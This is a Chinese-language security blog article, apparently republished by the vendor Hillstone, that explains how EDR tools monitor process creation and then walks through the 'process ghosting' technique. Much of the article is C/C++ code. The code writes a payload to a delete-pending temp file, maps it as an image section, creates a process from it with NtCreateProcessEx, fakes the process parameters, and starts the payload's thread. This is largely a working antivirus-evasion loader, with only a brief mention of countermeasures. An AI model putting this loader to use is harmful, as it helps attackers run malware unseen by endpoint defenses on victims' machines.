← 返回列表

进程伪装隐匿技术在杀毒软件对抗中的应用

单站 山石网科安全技术研究院 发布 Mon, 07 Jul 2025 16:20:00 +0800 入库 2026-11-18T09:00:07

原创 ixin 2025-07-07 16:20 北京

如何在不被杀毒软件发现的情况下启动恶意代码?攻击者是如何利用进程伪装与隐匿技术绕过EDR检测的?

在网络安全的博弈中,攻击者与防御者之间的斗争从未停止。随着杀毒软件和EDR(终端检测与响应)工具的不断进化,攻击者也在寻找新的方法来绕过这些防护机制。本文[1]将深入探讨一种名为进程伪装与隐匿的技术,进程伪装与隐匿是当前网络安全领域中极具影响力的技术之一。它使攻击者能够巧妙地绕过传统的安全检测手段,从已删除的文件中启动恶意代码。这种技术在对抗恶意软件检测系统时被广泛使用。然而,为了深入理解其工作原理,我们首先需要掌握一些基础知识。

一、EDR(终端检测与响应)****

首先我们先从NTAPI函数开始着手了解。通常情况下,这些函数无法直接调用,而是需要通过从ntdll.dll库中动态加载来执行。

在EDR(终端检测与响应)领域,相关工具通常会利用多种系统级函数来监控进程的创建活动。这些函数主要包括:

这些函数通过注册回调机制,使EDR工具能够实时监测系统中进程的创建事件,从而实现对潜在威胁的快速检测与响应。

EDR文件扫描操作通常发生在系统启动阶段,更精确地讲,是在进程创建的瞬间进行的。以下是上述提及函数的原型定义:

NTSTATUS PsSetCreateProcessNotifyRoutine(
  // 移除进程创建/终止通知回调
  [in] PCREATE_PROCESS_NOTIFY_ROUTINE NotifyRoutine,
  [in] BOOLEAN Remove
);NTSTATUS PsSetCreateProcessNotifyRoutineEx(
  // 移除扩展回调
  [in] PCREATE_PROCESS_NOTIFY_ROUTINE_EX NotifyRoutine,
  [in] BOOLEAN Remove
);NTSTATUS PsSetCreateProcessNotifyRoutineEx2(
  // 移除支持子系统过滤的进程通知
  [in] PSCREATEPROCESSNOTIFYTYPE NotifyType,
  [in] PVOID NotifyInformation,
  [in] BOOLEAN Remove
);

重要提示:扫描操作仅在进程启动时触发,而非其他任何时刻。这一机制的核心目的在于优化计算资源的高效利用,若对系统中所有文件进行全面扫描,尤其是涉及写入操作时,将耗费大量的时间,尤其在涉及写入操作时,这种时间成本会显著增加系统的负担,严重影响系统性能。

二、EDR对NtCreateUserProcess的监控机制EDR(终端检测与响应)****

NtCreateUserProcess是内核级进程创建的核心NTAPI,EDR默认监控该函数,原因如下:

1.完整性

封装进程创建全流程(PE加载、线程初始化、句柄分配),确保EDR在回调阶段获取完整上下文。

2.不可分割性

进程与首个线程的创建是原子操作,外部无法干预中间状态,避免绕过检测。

3.回调触发

必然触发内核通知链(如进程/线程回调、映像加载回调),EDR可同步扫描:

三、EDR对进程创建的标准化监控机制****

核心路径:所有高层进程创建API最终均调用内核级NtCreateUserProcess,形成统一检测入口。

技术要点:

1.调用链收敛性

2.EDR监控必然性

NtCreateUserProcess触发内核回调链(如PsSetCreateProcessNotifyRoutineEx),EDR可同步获取:

3.对抗场景的局限性

EDR通过NtCreateUserProcess的调用收敛性实现全覆盖监控,确保无论开发者使用Win32或NTAPI,均落入检测范围。

四、NtCreateProcessEx:EDR的检测盲区

(一)核心问题

(二)典型攻击手法

1.文件置换:加载PE后删除原始文件,绕过静态扫描。

2.延迟线程启动:挂起进程,手动注入代码后再执行。

3.伪造映像路径:伪装成合法进程(如svchost.exe)。

(三)EDR应对策略

NtCreateProcessEx因其非原子性和灵活性可绕过传统EDR检测,需结合内存与行为监控弥补漏洞。

(四)编程实现

首先我们从隐蔽的文件加载与进程创建开始:

HANDLE hProcess = INVALID_HANDLE_VALUE;
HANDLE hSection = INVALID_HANDLE_VALUE;
HANDLE hTempFile = INVALID_HANDLE_VALUE;
HANDLE hThread = INVALID_HANDLE_VALUE;
wchar_t filename[MAX_PATH] = { 0 };
wchar_t path_of_tempfile[MAX_PATH] = { 0 };
UNICODE_STRING file_name = { 0 };
IO_STATUS_BLOCK io_stat_block = { 0 };
OBJECT_ATTRIBUTES attributes = { 0 };
// 构造NT路径
wstring nt_path = L"\\??\\" + wstring(filePath);
// 获取临时文件夹路径并创建临时文件
DWORD tempfile_size = GetTempPathW(MAX_PATH, path_of_tempfile);
GetTempFileNameW(path_of_tempfile, L"TEMP", 0, filename);
// 检查临时文件夹路径获取是否成功
if (tempfile_size > MAX_PATH || (tempfile_size == 0)) return 1;
// 初始化UNICODE_STRING和OBJECT_ATTRIBUTES
RtlInitUnicodeString(&file_name, nt_path.c_str());
InitializeObjectAttributes(&attributes, &file_name, OBJ_CASE_INSENSITIVE, NULL, NULL);
// 打开临时文件
NTSTATUS status = NtOpenFile(&hTempFile,
  DELETE | SYNCHRONIZE | GENERIC_READ | GENERIC_WRITE,
  &attributes,
  &io_stat_block,
  FILE_SHARE_READ | FILE_SHARE_WRITE,
  FILE_SUPERSEDE | FILE_SYNCHRONOUS_IO_NONALERT
);
// 检查打开文件是否成功
if (!NT_SUCCESS(status)) return INVALID_HANDLE_VALUE;

随后,需将该文件标记为待删除状态。通过调用NtSetInformationFile函数,并将最后一参数设为FileDispositionInformation来实现。此操作会使文件带上DeletePending标志,操作系统随后会在文件句柄关闭时将其删除。

FILE_DISPOSITION_INFORMATION info = { 0 }; //初始化
info.DeleteFile = TRUE; // 设置删除文件标志
status = NtSetInformationFile(hTempFile, &io_status_block, &info, sizeof(info), FileDispositionInformation); // 设置文件为待删除状态
if (!NT_SUCCESS(status)) return INVALID_HANDLE_VALUE; 

接下来,利用NtWriteFile函数,将需要绕过监控工具检测的代码写入临时文件。

LARGE_INTEGER offset = { 0 };
status = NtWriteFile(
  hTempFile,
NULL,
NULL,
NULL,
  &status_block,
// 存储有效载荷的缓冲区
  myCodeBuf,
// 有效载荷的大小
  myCodeSize,
  &offset,
NULL
);
if (!NT_SUCCESS(status)) return INVALID_HANDLE_VALUE;

我们在去调用NtCreateSection函数,基于临时文件创建一个段对象。注意设置合适的参数:PAGE_READONLY和SEC_IMAGE,这表明你正在处理一个可执行映像文件。

status = NtCreateSection(&hSection,
  SECTION_ALL_ACCESS,
  NULL,
  0,
  PAGE_READONLY,
  SEC_IMAGE,
  // 从临时文件创建段对象
  hTempFile
);
if (status != STATUS_SUCCESS) return INVALID_HANDLE_VALUE;

通过调用NtClose关闭临时文件句柄。由于该文件已被标记为DeletePending,关闭句柄后,操作系统将立即删除该文件。

NtClose(hTempFile);
我们要在基于该段对象创建一个进程。由此,我们将获得一个指向新进程的句柄,后续可利用此句柄在该进程内创建线程。

status = NtCreateProcessEx(
  &hProcess,
  PROCESS_ALL_ACCESS,
NULL,
  NtCurrentProcess(),
  PS_INHERIT_HANDLES,
// 在前面步骤中创建的段对象
  hSection,
NULL,
NULL,
  FALSE
);
if (status != STATUS_SUCCESS) return 1;

为确保线程能在操作系统中正常运行,需配置PEB(进程环境块)及进程参数。

我们来处理进程参数:

UNICODE_STRING ImagePath = { 0 };
UNICODE_STRING DllPath = { 0 };
wchar_t curDirPath[MAX_PATH] = { 0 };
UNICODE_STRING CurrentDirectory = { 0 };
UNICODE_STRING WindowTitle = { 0 };
//初始化数据
wchar_t dllSystemDir[] = L"C:\\Windows\\System32";// 定义DLL系统目录路径
wchar_t* windowTitle = (LPWSTR)L"Calculator";
PRTL_USER_PROCESS_PARAMETERS pProcessParams = nullptr;
LPVOID Environment;
// 初始化路径获取当前工作目录
RtlInitUnicodeString(&ImagePath, victimPath); 
GetCurrentDirectoryW(MAX_PATH, curDirPath); 
RtlInitUnicodeString(&CurrentDirectory, curDirPath); 
CreateEnvironmentBlock(&Environment, NULL, TRUE); 
// 创建进程参数
NTSTATUS status = RtlCreateProcessParametersEx( 
  &pProcessParams,
  (PUNICODE_STRING)&ImagePath,
  (PUNICODE_STRING)&DllPath,
  (PUNICODE_STRING)&CurrentDirectory,
  (PUNICODE_STRING)&ImagePath,
  Environment,
  (PUNICODE_STRING)&WindowTitle,
nullptr,
nullptr,
nullptr,
  RTL_USER_PROC_PARAMS_NORMALIZED
);
if (status != STATUS_SUCCESS) return 1; // 检查创建是否成功

将参数写入进程(此处省略了验证正确性的冗长if语句):

// 在目标进程中分配内存用于存储进程参数
VirtualAllocEx(hProcess, (LPVOID)pProcessParams, pProcessParams->Length, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 将进程参数写入目标进程的内存中
WriteProcessMemory(hProcess, (LPVOID)pProcessParams, (LPVOID)pProcessParams, pProcessParams->Length, NULL);
// 在目标进程中分配内存用于存储环境变量
VirtualAllocEx(hProcess, (LPVOID)pProcessParams->Environment, pProcessParams->EnvironmentSize, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
// 将环境变量写入目标进程的内存中
WriteProcessMemory(hProcess, (LPVOID)pProcessParams->Environment, (LPVOID)pProcessParams->Environment, pProcessParams->EnvironmentSize, NULL);

接下来,着手配置PEB(进程环境块)。事实上,这是一套标准流程,当通过NtCreateProcessEx及其类似函数启动此类进程时,便会执行此流程。它广泛存在于各类代码中,并非进程伪装与隐匿技术所独有。

// 初始化数据
PEB peb_struct = { 0 }; 
PROCESS_BASIC_INFORMATION pbi = { 0 }; 
SIZE_T count = 0; 
DWORD RetLen = 0; 
// 查询目标进程的PEB基地址
status = NtQueryInformationProcess( 
  hProcess,
  ProcessBasicInformation,
  &pbi,
sizeof(PROCESS_BASIC_INFORMATION),
  &RetLen
);
if (status != STATUS_SUCCESS) return 1; 
// 获取PEB基地址计算参数偏移计算参数在PEB中的地址
ULONGLONG pebBaseAddress = (ULONGLONG)pbi.PebBaseAddress; 
ULONGLONG param_offset = (ULONGLONG)&peb_struct.ProcessParameters - (ULONGLONG)&peb_struct; 
LPVOID new_image_base = (LPVOID)(pebBaseAddress + param_offset); 
if (!WriteProcessMemory(hProcess, new_image_base, 
  &pProcessParams, sizeof(PVOID), &count))
return 1; // 检查写入是否成功

使用NtCreateThreadEx函数在进程中创建第一个线程:

status = NtCreateThreadEx(&hThread,
  THREAD_ALL_ACCESS,
NULL,
  hProcess,
  (LPTHREAD_START_ROUTINE)processEntryPoint,  // 可通过公式计算:processEntryPoint = PEB.ImageBaseAddress + 注入代码的入口点
NULL,
  FALSE,
0,
0,
0,
NULL
);
if (status != STATUS_SUCCESS) return 1;

五、总结

进程伪装与隐匿技术中其核心实现方法可归纳为以下关键技术要点:

1.进程标识符篡改技术

2.内存映像伪装体系

3.启动路径隐匿方案

4.跨进程注入框架

以上就是进程伪装与隐匿技术中隐秘启动的核心实现方式。但这只是初步成果。隐藏代码执行仅是迈向全面“隐身”的第一步,该技术虽能有效规避部分检测,却仍会在内存中留下痕迹。尽管可通过其他技术进一步降低被检测的风险,但真正的挑战才刚刚开始。

六、相关链接

[1]https://hackmag.com/security/process-ghosting

[2]https://hackmag.com/security/cold-boot-attack

[3]https://hackmag.com/security/python-pyramid

[4]https://hackmag.com/security/evil-modem

[5]https://hackmag.com/mobile/xamarin-reverse

[6]https://hackmag.com/security/smartcard-attacks

[7]https://hackmag.com/security/enumeration-guide

山石网科是中国网络安全行业的技术创新领导厂商,由一批知名网络安全技术骨干于2007年创立,并以首批网络安全企业的身份,于2019年9月登陆科创板(股票简称:山石网科,股票代码:688030)。

现阶段,山石网科掌握30项自主研发核心技术,申请560多项国内外专利。山石网科于2019年起,积极布局信创领域,致力于推动国内信息技术创新,并于2021年正式启动安全芯片战略。2023年进行自研ASIC安全芯片的技术研发,旨在通过自主创新,为用户提供更高效、更安全的网络安全保障。目前,山石网科已形成了具备“全息、量化、智能、协同”四大技术特点的涉及基础设施安全、云安全、数据安全、应用安全、安全运营、工业互联网安全、信息技术应用创新、安全服务、安全教育等九大类产品服务,50余个行业和场景的完整解决方案。

原文链接:https://mp.weixin.qq.com/s?__biz=MzUzMDUxNTE1Mw==&mid=2247512496&idx=1&sn=1fd4c6cd1afeb95ebbc9445c54a3d190